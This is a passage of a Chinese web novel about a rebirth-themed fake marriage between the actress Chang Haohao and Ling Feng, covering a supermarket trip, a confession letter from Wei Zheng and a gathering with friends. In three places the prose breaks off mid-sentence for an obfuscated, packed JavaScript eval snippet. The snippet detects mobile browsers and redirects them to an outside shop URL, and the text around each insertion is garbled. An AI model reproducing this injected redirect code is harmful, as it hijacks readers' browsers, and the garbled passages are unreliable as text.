她迅速消失在眼前,留下陆颂和张韧面面相觑。 等回过神来,陆颂挑了挑眉,脸上满是嬉皮笑脸的调笑:“不愧是你的外甥女,损劲儿跟你如出一辙。” 张韧轻哼一声:“大哥莫说二哥,你比我们好到哪里去。”他与陆颂目光再次交汇,读懂了彼此的意思,从盘子里拿出一块榴莲,微微一笑。 “嗯……这个榴莲真好吃。”常好好吃起榴莲来完全不顾形象,“果然,干包榴莲是我的最爱。” “好吃多吃些。” “不能吃太多,否则热量爆炸。”常好好另一只手下意识地摸了摸她那比往常突出的小肚子,“要控制,今天摄入太多。” 凌枫瞄到常好好嘴角残留的果肉,从纸巾盒里抽出一张纸,顺势递过去,不动声色地问:“你上次说退圈,是认真的?” 常好好接过纸巾轻轻擦拭嘴角,点了点头:“嗯,我觉得我很幸运,回来的时机不错,没赶上续约后。况且上一世也是如此,退圈是早晚的事。” 也? 凌枫表情顿了下,明显对这句话感到意外。担心被常好好看出端倪,他不再接着退圈的话题往下问,话头一转:“上午确实顺利,晚上不好说,不知道我妈会不会过来。” 常好好一心低头啃着榴莲肉,没瞧见凌枫的不对劲。她随口回道:“阿姨平时经常过来吗?” “很少。” “那你担心什么。” “现在不一定了。” 常好好动作一顿,抬眼看向凌枫,瞬间明白了他话里的意思。她抽出纸巾擦嘴,自觉地起身,打开水龙头,耐心搓洗双手,洗完习惯性地想要拽擦手巾,结果扑了个空。 “家里没有我生活的痕迹。”她喃喃自语,回到了餐桌旁,抽出一张纸巾,轻轻蘸着擦手,头微微靠近凌枫,“你不会连房间都没布置吧?” 果然如她所料,接收到凌枫不明所以的眼神。 想到上一世的种种,她轻拍凌枫的肩膀,“我能理解你,你之前属于孤家寡人,没注意到这些细节情有可原。不过你放心,有我在,阿姨绝对不会发现我们是假结婚。”她把用完的一坨纸顺手扔到脚旁边的垃圾桶里,朝凌枫勾了勾手指,示意跟她走。 两个人来到屋子的主卧室。 常好好好像视察工作,溜达来溜达去,不放过每一处细节。看完卧室,她推开主卫门,眉头皱的更紧。 “万万没想到,你真的什么都没准备。”她不敢相信眼前的一幕。 凌枫:“准备什么?” “你看看这间房有我住过的痕迹吗?别的不说,至少把牙刷、毛巾还有浴室拖鞋准备好吧。”常好好第一次在凌枫脸上看到错愕的表情,偷笑的同时开口安慰,“没关系,毕竟你没有经验,这些事交给我吧。” 工作日下午两点,超市里的顾客稀稀拉拉。常好好带着口罩,头戴棒球帽,推着购物车慢悠悠地在超市里闲逛。走到一处,看到一对小情侣为选哪个口味的苏打饼干凑着头说笑,她忽然间意识到,这种细细挑选,悠哉且自由的日子,已经很久没有过了。 “买好了。”凌枫从常好好身后绕过来,俯身准备把东西放进购物车。 就在这个瞬间,凌枫的帽檐轻轻触碰到常好好的帽檐。 凌枫眼疾手快把手里的物品迅速扔在购物车内,伸手为常好好扶正帽檐。他扶正帽檐时,微微蹲下身子,动作不自觉地放得很轻。 两人的距离一下子拉近,眼神交错的瞬间,身体都定住了。 “你怎么买牙膏了?”常好好赶紧垂下头,手来回扒拉着购物车里的生活用品,最后拿起牙膏递到凌枫手里,“夫妻用一个牙膏就行了。” 凌枫盯着手里的牙膏,问了一句:“以前你跟王洋用一个牙膏吗。” “没有啊,牙膏只是摆设而已。重生前,我跟他假结婚是在三年后,那时候我已经火了,一年三百六十五天,三百六十天都在工作,哪有时间跟他用同一个牙膏。”常好好如实回答,眼睛微微眨了眨,“你吃醋啦?” “单纯好奇,毕竟我没有经验。”凌枫说完就走,留给她一个背影。 远远望着凌枫的身影,常好好心里有种说不清道不明的感觉。 很快,她把这股怪异的情绪压了下去,检查购物车里的物品,看看有没有遗漏。确定东西齐全,默默站在原地等待凌枫。 等再次汇合,两个人肩并肩,一同去收银台结账。 “选什么颜色好呢。” “白色吧。” “我觉得这个颜色好。” 最左侧的收银台另一端挂着许多产品,刚才常好好碰见的那对情侣站在那里,再一次陷入挑选颜色的难题。 常好好视线朝那边扫去,看见某样产品马上停下脚步,手中购物车推到身旁男人的正前方,叮嘱道:“你先排队结账,我去拿个东西,马上回来。”话落,快步走到那对情侣后面,寻思等他们选完再去拿。等了一会儿发现他们依然在那里纠结颜色,于是急性子发作,侧了侧身,随便扯下来一盒。 反正用不上,管它什么款式和颜色。常好好心里如是想,小跑两步去找凌枫。 这时候收银员刚好扫描最后一件商品,怕耽误时间,她轻轻抬起手,把小盒就那么朝收银台台面上一扔。 “啪”的一声响。 凌枫和收银员都被突如其来的声音吓一激灵。凌枫定睛一看,嘴角控制不住地抽了抽。 收银员看向手边的小盒子,目光顿了顿。抬起头,瞅了一眼凌枫,又瞅了一眼常好好,嘴角微微上扬,一副了然的模样。手上动作不停,将所有商品扫完,收款结账一气呵成。常好好和凌枫临走前,她不忘多看他们几眼。 凌枫早在看见小蓝盒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303448|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一刻便心神不宁,直至回到家里,他把手上满满一大袋子东西稳稳地放到地上,才将藏在心里一路的话问出口:“这些东西都是为了布置家里?” “对啊。”常好好一一拿出塑料袋里的牙刷、毛巾、拖鞋等物品,“呐,给你消毒吧,我弄你肯定不放心。”唯独最后买的东西没递给凌枫。 凌枫原地不动。 常好好重点放在手里面的小盒子,正琢磨着放在哪里,慢慢站起来,转过身子差点撞进凌枫怀里。 她连忙向后退了一大步,懵逼地看着凌枫:“你怎么站在这?不消毒了?” “你手里不是还有一个吗。” 常好好顺着凌枫的视线低下头,一下子明白了什么,摇晃手中的小盒子,笑着说:“你说这个啊,这个有大作用。”她俏皮地扬了扬眉,“凌枫,你是不是想歪了。” “你想多了。”凌枫想都不想,快速否认。 “我这是防患于未然。你想啊,阿姨不定期会来,如果看见家里有这么个东西,肯定不会再怀疑我们的关系。”常好好非常自信,“假扮夫妻我有经验,听我的准没错。一会儿我们把它放在不显眼却能在无意间扫到的位置。”她微微地眯了眯眸,刻意强调,“位置一定不能太刻意。” 凌枫伸手:“给我吧,我来放。” “喏!”常好好把盒子递给他。 准备的道具不算少,凌枫把每一件物品消毒整理。等一切收拾好了擦着手走回客厅,却发现常好好正一脸兴奋地朝他招手。 迟疑片刻,他继续迈着步子走到她身前,嘴张到一半,对方拿出一个黑色的礼盒。 “送你的礼物。”常好好道。 凌枫明显愣了下。 见状,常好好抽出包装盒,拿出里面的东西,“上次你送给我的书签我很喜欢,后来去商场逛了逛,一眼相中这款钥匙包,感觉它很适合你。”说到这里深深看了一眼凌枫,见他目光停留在包上,赶紧打开卡扣展示钥匙包内部功能,尤其是最左侧的卡槽,“你看!这里是透明的,可以放照片或者小卡。” 听到小卡,凌枫下意识想到常好好手机壳里暗藏的小卡,眼神不经意间闪躲,顺手接过钥匙包,“谢谢,我很喜欢。” 常好好紧盯凌枫双眼,察觉到他的眼神变化,心里暗道:安燃说的是真的,果然有情况。 两个人各怀心事,欢快的响铃声突然响起,他们都被吓了一跳。 被铃声打断思绪,常好好这才回过神来,伸手拿起桌上放置的手机。 瞄到来电显示,迅速划开绿色图标,声音不自觉地提高:“喂,我在凌枫家呢,怎么了。” “好好,我有重要的事告诉你,你把凌枫家地址给我。” 相处了一个多月,几乎每天都会碰面,常好好对沈骁越来越了解,听出她语气里的焦急,瞥了凌枫一眼,最后把凌枫家的地址给了沈骁。 不到半个小时,沈骁风风火火来到凌枫家。 来了二话不说立刻打开包,从里面搜出一张褶皱的纸递给常好好。 她道:“这个千纸鹤是魏筝离开滨城当天送给我的礼物盒里面的装饰。我对它没太在意,今天陪你们领证后,我回到家里又想起魏筝,就拿出她送给我的礼物,没成想让我看见千纸鹤尾巴那里有一个用笔写的小竖,我好奇把整个千纸鹤打开,竟然发现里面有字。” 字? 常好好眉头轻蹙,接过皱皱巴巴的纸,果然看见中间部位有一大段字,正要从第一行读起,沈骁双手覆盖住纸张,遮挡住上面的字。 她不理解沈骁的动作,挑了挑眉:“怎么了?” 沈骁脸色微变,严肃地说:“内容让人意想不到,你……你们一定要做好心理准备。”说话的同时,她把视线转移到凌枫身上,停顿几秒,默默把手收了回来。 33. 开会 被沈骁一提醒,常好好心中更加好奇,全神贯注地盯着眼前的纸,开始读信的内容。 【骁骁,不知道你会不会发现千纸鹤的秘密,并打开它读到这封信。 我们从大学开学第一天到现在,相识十一年。大学里的四年生活短暂且美好。那个时候我从来没想到自己会变成后来那般,成为了一个魔鬼。欲望每天支配着我,我变得不堪,甚至不惜出卖自己的灵魂。等想回头时,发现无路可走。 当我站到商场天台往下俯视,我似乎没有恐惧。可正当我打算一跃而下,地面突然摇晃,我脚下漏出缝隙,缝隙逐渐扩大,我的身体猛地下坠。我害怕极了,拼命抓住头顶上方没断裂的一角,手指头不知道什么时候被尖锐东西划到,我顾不上疼痛,咬牙坚持,看着鲜血顺着手臂滴落,也从未想过松手,却为时已晚。 身体不断下坠,我的眼前闪过无数个画面。我哭了,我后悔了。 等我再次醒来,发现竟然重新回到七年前。这个时候我没有挪用公款、我没有被上司发现和威胁、我也不认识凌楷。我好开心,好想把这个好消息告诉你,却一直犹豫,不知道怎么开口。 后来我与凌楷在不经意间碰到,这次没有上司参与,他依然主动找到我,我心里特别害怕,怕这一世会和从前一样的发展轨迹,所以一直偷偷躲着凌楷,想要找个时机跟你坦诚,没想到有一天我会在公司里看见你跟常好好在一起。 从前不堪入目的画面一下子跳回到我的脑海里。我想到凌楷让我陪他不断看常好好的视频。想到凌楷说我与常好好侧脸极像,逼着我学习常好好的动作习惯。想到凌楷买上百件常好好同款衣服和配饰给我,逼迫我穿戴。我知道对于凌楷来说,我不过是常好好的替代品。 我已决定离开这里回老家生活,但又替常好好担心。我知道你们和我一样重生回来,也知道几年后发生的一些事,所以想要提醒你们凌楷对常好好的心思,还有成世泽对常好好也有其他情感。 那天我终于鼓起勇气,想要找你跟常好好,可最后顾及自己的脸面没有说出口。 如果你能看到这封信,希望你把这些告诉常好好,让她小心凌楷。 最后我想说:谢谢你骁骁,谢谢你没有放弃我。】 读完信,常好好指尖捏着纸,整个人呆在原地。她嘴唇微微张开,想说什么却止住了,低头重新读了一遍。 过了一会儿,她的手开始不受控制地发抖,纸张被她的抖动震得哗啦啦地响。 “你不觉得她长得很像一个人吗?” “我们结婚要跟成世泽知会一声。” …… 那些他随口说的话,原来是暗示。常好好眼神渐渐清亮,转过身去,望着凌枫的眼,语气笃定:“凌枫,你早知道。” “是。” 凌枫不否认,回答得干脆。 沈骁云里雾里,瞅瞅这个,瞧瞧那个。现在的重点难道不是魏筝也重生?怎么感觉俩人偏题了呢。她犹豫要不要问出口,后来做了决定,选择站在他们旁边,等他们有下一步动作再说。 “我不知道他们喜欢你的具体时间,我是上大学后才发现。”凌枫实事求是,不掺一点假意。 常好好点头:“我知道了。” “啥,啥意思?”沈骁一脸懵圈,胳膊肘碰了碰常好好,“谁啊,还有谁喜欢你?” 常好好把纸递给沈骁。沈骁接过去,重头到尾仔仔细细又读完一遍,她惊声喊了无数句“卧槽”,五官一度惊讶到变形。 “成世泽喜欢你?”这是什么狗血剧情,妥妥的伪骨科。她的手也抖了抖,不过她是兴奋地抖动,“那个,你对他的感情……” “在我心里,他永远是我的二哥。”常好好简单明了,把心里话抛了出来。 伪骨科没戏了。沈骁摇了摇头,长长地叹了一口气,再次抬头发现一男一女都把目光放在她身上,且意味不明。 她赶紧咳嗽两声:“那个,有一个很重要的点不能忽略,那就是魏筝跟我们一样重生了。” “这是不是说明我们当时的视角不全,其实商场各个角落里都可能存在其他跟我们一样,塌方前没有跑出去的人。他们在暗,我们也算在暗吧。要是都是我这种好心肠倒也无所谓,就怕伤害你二哥的凶手藏在里面。” “当然了,这种概率微乎其微,我们依然按照原计划进行,不要胡思乱想。” “别忘了,我们是一个团结友爱的团队,千万不能分心,心要往一处使。”说到最后一句话,沈骁振臂高喊。 “当然。” “嗯。” 两个人算给足了她面子,同时有一种哄小孩的意味。沈骁自己同样有这样的感受,她清了清嗓子,嘴凑到常好好耳边,声音比刚才小了好几个度:“好好,有一件事想跟你商量。” “你一下子变得如此有礼貌,我怪不习惯的。”常好好打趣道,“行了,有话直说。你刚才不是讲了吗,我们可是友爱团结的一家人。” “好的,那我不客气了,我可不可以先暂时住在你家。”沈骁虽然脸皮挺厚,但是也清楚自己的需求有些过,所以说起话来没有底气,琢磨半天还是全盘托出,“魏筝回老家后没人跟我合租,我一个人住害怕不说,更不划算,所以退租了。”见常好好没说话,她又补充了一句,“你放心,我不会一直赖在你那儿不走,等找到合适的房子,我立马搬走。” 常好好很少见到沈骁不好意思的小表情。听完,她笑着回道:“我以为什么事呢,原来是这样。你别搬了,住我那吧,正好我们开会方便。” 话音刚落,屋内三个人都微微怔了怔。 片刻功夫,凌枫第一个问道:“你们经常开会吗?” “不经常!”沈骁举手抢答,整个人转过去,朝常好好疯狂眨眼,然后回过身,对着凌枫笑着说,“偶尔,偶尔而已。” 凌枫何等聪明?他眯了眯眼,继续说道:“是吗,你们不会开会不带我吧。” “怎么可能呢,您可是我们团队里面的优秀队员。” 沈骁表情浮夸,动作夸张,一看就在掩饰。 如此好时机,凌枫怎会放过。他垂下眸子,微微笑了笑,“我承认我之前有所顾忌,很多事情没有与你们沟通,以后不会了。” 他的语气诚恳,表情真诚。见状,沈骁激动击掌,“太好了!今天是你们领证第一天,即使是假的,也不影响我们庆祝。刚好李嘉晨妈妈晚上有两节课,很晚才回家。我一会儿去接李嘉晨,顺便把他带过来。你们觉得如何?” “我没意见,”常好好瞄一眼凌枫,“不过,这里不是我家。” 沈骁反应过来,“哎呀,我忘记了。那行,我们回你家庆祝。” “就在这儿吧。”凌枫漫不经心地说了一句。 “收到!”沈骁看到手机屏幕内的时间,拎包往门口迈步,“我先去接李嘉晨,你们要买什么告诉我,我回来一道都买齐。” 常好好摸了摸仍旧微微隆起的小肚子,“我刚吃了好多,没完全消化。要不把庆祝变成茶话会吧,再买点小零食。” “好嘞!”沈骁一如既往的风风火火,穿鞋、开门、关门,动作一气呵成。 屋子里又只剩下常好好和凌枫两个人。 凌枫忍不住问出口:“我们不是刚买了零食? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308771|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你不懂,这些不够沈骁塞牙缝的。” 凌枫看了一眼地上那大半兜子零食,沉默了。 等他把买来的生活用品清洗干净、全面消毒并摆放好,再回到客厅内,发现三个大人把一个小孩子围在中间。 “真羡慕你可以回到小时候,多幸福啊,什么都不用考虑,每天过着无忧无虑的生活。” “可不嘛,要是我能重回到二十四年前就好了。” “你是二十四年,那我是回到三十一年前。” “你们两个讲相声呢?真当你们想回到啥时候能回到啥时候?” 瞧着有人站出来替他打抱不平,李嘉晨有了仗势,圆圆的小脸蛋气鼓鼓的,“好好姐姐说的对,你们有没有同情心,没看见我正不开心呢吗。” “就是,不过换做我回到五岁的话,是二十七年前。”常好好接着补充道。 “……” “你们几个大人真过分。”李嘉晨赌气地说了一句,嘴角向下撇着,轻轻叹了口气,小身子蜷在沙发角落里,看起来又可怜又搞笑。 “你们又开会呢?” 这时,凌枫从远处走来,嘴角上扬,连带着眼睛都笑眯眯的。他的表情使三个大人全部怔了怔,心里免不得一阵碎碎念。 常好好:什么叫又?他怎么对开会那么敏感,莫不是老板当习惯了,对开会有执念? 沈骁:不能让他发现我们背地里开小群开小会,找什么话题岔开好呢。 安燃:我靠!凌枫那个家伙怎么笑得春心荡漾,跟平时完全不一样。话说他喜欢的人到底是谁啊?! “凌枫哥哥你好,我是李嘉晨,是一名初中生。”三个大人各有心事,李嘉晨率先起身与凌枫打招呼,结尾刻意加重语气。 凌枫第一次见李嘉晨。他走过去,微微弯下腰,笑着摸了摸李嘉晨的头,“你好李嘉晨。我叫凌枫,你可以叫我叔叔。” 李嘉晨歪了歪小脑袋,“可是你看起来很年轻,我可以教你哥哥吗?” “诶诶诶,小屁孩。”安燃急了,“差辈了哈,你管我都叫叔叔,怎么能喊他哥哥,他比我还大两岁。”顺便拍了拍旁边的座位,示意凌枫坐过来,“你别看这小鬼头长得高,实际上他现在才五岁,重生前刚上初一,总之差别不大,依然是个小孩子。” 李嘉晨不服气,叉起腰,嚷嚷着:“谁是小孩子?我都十二岁了。” “哦,对不起,你是大孩子。”安燃一本正经的道歉。 “哈哈哈……” 三个大人放声大笑。这里面沈骁差点笑趴,直拍自己大腿,笑得那个夸张。李嘉晨小脸憋得通红,狠狠抿着唇,五岁的孩童如此模样,反倒不觉得可怕,看上去更加萌了。 “你们几个大人欺负一个孩子做什么。”凌枫走到常好好身前,不带一丝犹豫,转过身体,坐到她身旁的位置,压根没给安燃一个眼神。 安燃嘴角微扯,白了凌枫一眼,慵懒地靠在沙发背,朝李嘉晨轻抬下巴,“喏,你看吧,他也说你是个孩子。” “哼!”李嘉晨轻哼一声。 发现李嘉晨真的不太开心,常好好收起笑脸,赶紧安慰:“别闷闷不乐了嘉晨,幼儿园的生活总比上学轻松。” “就是说啊,幼儿园多好啊,与我们相比,你够幸福了。”沈骁双手十指相扣抵在下巴,一脸羡慕。 李嘉晨坐下稍微缓了缓,语气却仍带不满:“幸福什么?我明明是个初中生,突然变成幼儿园小朋友,每天和一群小屁孩挖呀挖呀挖的,我容易么我?你们几个不关心我就算了,还挖苦我,真是太过分了!” 挖呀挖呀挖? 34. 关心 常好好与沈骁面面相觑。安燃比她们俩快一步,疑惑问道:“你们幼儿园每天挖啥呀,挖土玩?” 感觉说不到一起去,李嘉晨摇了摇头,不是一般的无奈。 凌枫递给李嘉晨一个小零食,扫视一圈身边的几个人,不紧不慢地说:“他们没有孩子,不知道正常。” 话音一落,客厅内瞬间静了下来。 大概半分钟过去,常好好双手交叉在胸前,上半身朝凌枫身上倾斜,用审视的目光盯着凌枫,“莫非你有?” 沈骁倒吸一口凉气,下意识捂住嘴巴,颤颤巍巍地抬手,指着凌枫的脸,大喊一声:“你有私生子?” 安燃没当回事,突然想到哪里,学着沈骁的动作,颤颤巍巍的手部动作如出一辙,“卧槽,你太可怕了!” 凌枫抬头看向墙上的灯,看着看着笑了,把旁边几个人吓到身上汗毛竖起。 常好好抬起手,不等她的胳膊颤颤巍巍,凌枫打断道:“你们脑子里都在想什么?”他侧头,看着常好好的眼,语气平静,“我哥有两个孩子。因为家里公司原因,我侄女第一年上幼儿园时,我帮他们带过半个学期。” 被凌枫突如其来的眼神直视,常好好不自觉地躲避视线,感觉到脸颊有些发热,故作淡定地点了点头:“原来是这样啊。” 安燃心里想不明白,碰了碰李嘉晨,“我好奇你们在幼儿园到底挖什么。” 李嘉晨:“是一首歌,你们真的没听过?” “什么歌?” 李嘉晨豁出去了,起身,深呼一口气,然后声情并茂的表演,连手势都加上,一看就知道下了功夫,非常熟练。 “在小小的花园里面挖呀挖呀挖,种小小的种子,开小小的花。在大大的花园里面挖呀挖呀挖,种大大的种子,开大大的花。在特别大的花园里面挖呀挖呀挖,种特别大的种子,开特别大的花。” “……” 待他表演完,所有人都沉默了。 “现在不羡慕我了吧。我一个初中生,每天和一群小孩子唱那些幼稚歌曲,摆一大堆幼稚手势,最可气的是老师们都说我有表演天赋,每次有活动,必然让我站在第一排领唱,想想都闹心。” 听李嘉晨说完,常好好唇角勾起,见李嘉晨表情郁闷,强忍着笑意,硬生生给压了下去,憋得那叫一个难受。 沈骁不管这些,一边笑一边捶着身侧的抱枕,幸灾乐祸地开口:“这说明你的表现力一绝,有什么不开心的,我以为多大事呢。” “那群小屁孩好像都很喜欢我,总是围在我身边。有好几次一个小孩刚在户外上完体能课,手都不洗,直接往我身上蹭。” “还有一次,一个小孩偷偷摸摸,趁着老师们不注意往我手里塞了一个类似巧克力豆的东西。我看他手刚洗完,就没拒绝玩了一会儿,结果恶心死我了。” 李嘉晨好似触发了沈骁的系统。巧克力豆可是沈骁小时候最喜欢吃的零食之一,她放下手里面的卤鸡蛋,拍了拍李嘉晨的肩头,语重心长地道:“不是姐说你,你有点过了哈。人家小朋友给你东西,是想要跟你交朋友,你有啥不乐意的。” “对啊,他们都是幼儿园孩子,你跟他们又不一样。”安燃抓到重点,“所以你为什么恶心,不是巧克力豆吗,你为啥不吃?” “幸亏我没吃,吃了的话后果不堪设想。”李嘉晨的小手压住胸口,现在想想仍然心有余悸,“后来有其他小孩告诉我,那是他用了两天搓的泥球,里面还放了他的鼻嘎。” “……” 这次不仅常好好、沈骁和安燃,就连凌枫都忍不了一点,四个大人全部笑出声。 好像被他们传染,李嘉晨也没忍住,跟着他们笑了。笑着笑着,他又苦着脸说道:“那天我无意中听见我妈打电话,我妈打算给我报课外班了。” 常好好不解:“不至于吧,五岁哪有那么多课可补。” 李嘉晨伸出手,掰着手指头,“全脑、英语、书法、美术、编程、体智能,能补的课数不胜数。” 听到这,沈骁脸上的笑容逐渐消失,换上不可思议的表情,“太离谱了,你才五岁而已。” “是吧,就是这样无语,现在你们知道我有多难了吧。”李嘉晨说起话来唉声叹气,起初他重生回来最想要改变父母之间的关系,现在看来有更棘手的事需要处理。 重生前两年,李嘉晨的父亲李川和李嘉晨的母亲张婧关系变得紧张,虽不至于动手,但争吵不断。随便一件事都能使两个人追溯到几年前发生过的小事上面,从而做文章吵个没完没了。 李嘉晨没心情吃东西,继续说道:“计划有变,如今他们俩人关系好的很,每次一起批评我,别提多默契。” 听了好长时间,凌枫忍不住出声问:“批评你什么?” “作业啊,我妈妈被身边朋友影响,怕我小学跟不上,单独给我留的作业。我不爱写,偶尔偷懒被发现,他们两个人差点要对我乒乓双打。” 安燃事不关己,不知道什么时候把冰箱里的榴莲拿了出来,边往嘴里塞边叨叨:“不是我说你。你一个初中生做小学作业偷哪门子懒,十分钟之内必搞定的事,弄那么复杂干嘛。” “说得轻巧,你试试每天同一时间做,看你愿不愿意。”李嘉晨没好气地说。 看见安燃吃他买的榴莲,凌枫眉头蹙起,下意识地抬起手。发现自己莫名其妙的动作,又把手收回去,不经意间瞪安燃一眼,没吭声。 常好好听的认真,马上想到重生计划手册里面有关李嘉晨的故事。她恍然大悟道:“你的意思是,接下来我们不用帮你父母缓和关系了?” “我昨晚仔细回忆了一下,他们感情不和不是现在。”李嘉晨手指指向自己,面容出现不属于他这个年龄段的表情,看上去滑稽极了,“我觉得你们必要时还是先救我吧,这个时期我才五岁,正是玩的年纪,照这样卷下去非疯了不可。” 安燃吃完一块,又拿起一块榴莲肉,不以为意的口气:“你之前不是这么过来的?” “记不太清楚了,你记得你五岁时候发生的所有事?”要不是身板小,此时此刻李嘉晨特别想给安燃一个背摔。 安燃嘴里咀嚼完,再咽下去,“当然记得,我尿过裤子。” 李嘉晨刚拿起一个山楂棒,有一种把山楂棒撇到安燃脸上的冲动。 “好了好了,你别再刺激小嘉晨,他够闹心的了。”常好好了解安燃,知道他是个小孩心性,赶紧出来打圆场。脑海里不知怎么突然冒出林菲那张脸,她心里没底,“接下来一年半我工作有的忙,可能不像今天这样有时间和精力跟你们聚在一起。如果周围发生什么巨大变化,或者自身出现困难,大家第一时间发在群里分享,我们人多力量大,总能解决的。” 五人小分队各有想法,互相交流一年内的计划。 “我的老腰啊。” 送走沈骁几个人,常好好终于逮到机会休息。当凌枫不存在,侧身,倒下,整个人躺在沙发上,伸长手臂使劲抻了抻,“唔……爽!” 凌枫刚清理好客厅内的残渣,擦拭手心手背残留的水珠,顺手将毛巾挂好,慢悠悠地走到茶几边。 他道:“时间不早,你可以直接去客卧休息,床单被罩给你换好了,洗手间也备好毛巾和牙膏牙刷。” 不愧是高精力人群。 常好好懒得起身,仅侧了侧头,“我很好奇,你不累吗?” “还好。” “嗯,看出来了,你好像乐在其中。”常好好平躺变侧躺,视线从上到下,从左到右把凌枫扫了个遍,满眼都是笑意,“这么看我们俩特别搭。我把屋子搞乱,你再好好收拾,完美。” 凌枫没吱声。 常好好有种自讨没趣的感觉,忽然想到哪里,说道:“对了,你别忘记把你朋友推荐给我,我好加她好友。” 不久前,长达四个小时的探讨会信息量满满。 都说白天不能说人,没多会儿李嘉晨的母亲张婧便给沈骁打了通电话,说明李嘉晨今后补课事宜,需要沈骁继续接送。这可把沈骁乐坏了。每个月从一千二百块增加到三千块,她能不开心吗。 但问题随之而来。 常好好马上进入综艺录制的进程里,每天十几个小时录制时间,沈骁无法分身,最后凌枫推荐了他的朋友。 “其实我用不用保镖无所谓,身边有公司派来的助理。” “你放心,我那个朋友值得信任。”凌枫心领神会,他看出常好好的顾虑,继续攻心,“最主要的是她有真本事,曾经学过五年格斗,跟沈骁完全相反。” 以为凌枫变了,原来是她想多了。他这属于明里暗里讽刺沈骁空有一身肌肉,实际假把式。常好好心里暗道,眼前的男人骂人依旧不带脏字。 凌枫坐到常好好脚下旁边的沙发上,“你最近风头正盛,平时多注意,有些年轻孩子追星不够理智,可能会冲动行事。” 常好好显然没太把这些当回事,打了个大哈欠,不以为意地摇了摇手:“小事,你忘了我以前?什么样的黑粉没见过,不会轻易被他们欺骗,况且演播室管理一向很严,我又滴水不沾,问题不大。” “录制期间,你真能做到不吃不喝?” “能啊,偶尔嚼口香糖和巧克力,都是我提前放在身上备好,吃起来放心。” 凌枫的目光在常好好脸上多停留了几秒,瞧见对方那无所谓的样子,仿佛已经习以为常,他心里无端生出一股莫名的感受,强压制自己不去探究。 “苏淼是一个好相处的人,对你没有坏心思,到时候让她为你准备好水和食物。” “人不能不吃饭。”他道。 常好好前一秒昏昏沉沉,下一秒精神抖擞,心里默念他的每个字,瞬间从沙发上弹起。她眼睛一亮,问道:“你在关心我?” “当然,你是我的妻子。”凌枫在常好好震惊的眼光里默默抽出抽屉,取出熟悉的厚厚一大摞册子。 闹了半天他在这跟她演戏呢。 常好好眼里的光刹那间没了踪影,暗中白了凌枫一眼:“凌枫,你比我想象中能演,演技堪比影帝。” 以前说这些话纯属开玩笑,现在是发自内心的真实感受。 凌枫视线放在手册上面,偶尔翻到下一页,嘴上如是说:“不是你提的吗,要先入戏,否则等你合约到期那天,我们对外公开婚讯百分百会被有心人打假。” “原来我说的每句话你都往心里去了。”常好好不禁感叹,这点凌枫比安燃和沈骁他们强多了,她继续说,“我们越来越默契,干脆喝一杯?” 想到凌枫不喜饮酒,她提议自己喝,凌枫看着即可。 说完不等主人回复,小跑到冰箱前,适时地转身,无辜的大眼睛盯着凌枫的脸。 凌枫犹豫了一会儿,最终还是起身走到常好好身边,打开冰箱门,拿出沈骁买回来的啤酒,嘱咐道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314769|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“时间晚了,喝一罐吧。” “那怎么够,我来拿。”常好好心里藏着小九九,手臂轻轻一拐,凌枫被她挤走。她胳膊抱住六罐啤酒,朝餐桌慢悠悠地移动,数了数觉得不够又去冰箱里取出四罐啤酒,把它们摆的整整齐齐,“十罐啤酒够我们喝了。” 我们? 凌枫眉头一皱,即便如此仍然抽出一把椅子稳稳地坐好,从十罐啤酒里随意挑出六罐放到旁边。 他道:“我不喝。” 常好好被凌枫的动作搞蒙了,望着面前还剩下的四罐啤酒,快速地眨了眨眼,开始在心里碎碎念:他说他不喝酒,所以拿走了六罐……他这数到底怎么算的? 想不通就不想,她不嫌费事,又把被凌枫挪到角落处的六罐啤酒拿了回来。 “刚才他们在,你不喝可以。现在屋里只剩你我俩人,有什么不能喝的,别那么扫兴嘛。”边说边打开两罐啤酒,其中一罐递给凌枫,“给你。” 凌枫略微迟疑,接过啤酒小口抿了一口,“你很爱喝酒吗。” 当然不爱喝。常好好心里这样想,手腕一转,猛地喝了一大口。 不爱喝不代表不能喝,除非心情郁闷借酒消愁,她才容易喝醉。于是轻抬下巴,眼睛微眯,轻轻摇晃着手里的易拉罐,语气略带挑衅:“我呀,酒量相当可以。” 凌枫放下啤酒罐,微微一笑:“上次在你家,你喝多了。” “……” 哪壶不开提哪壶。 常好好“啧”了一声,当时的画面袭来,她表情嫌弃地道:“能不能别在我俩大好日子里提那天,一提那天我立马想到王洋那张脸,恶心死了。”越想越憋屈,她二话不说往嘴里灌酒,很快,一罐下肚。 “哎,好烦啊。本来跟你合作,顺利避开王洋是值得高兴的事,但我心里总觉得堵得慌。” 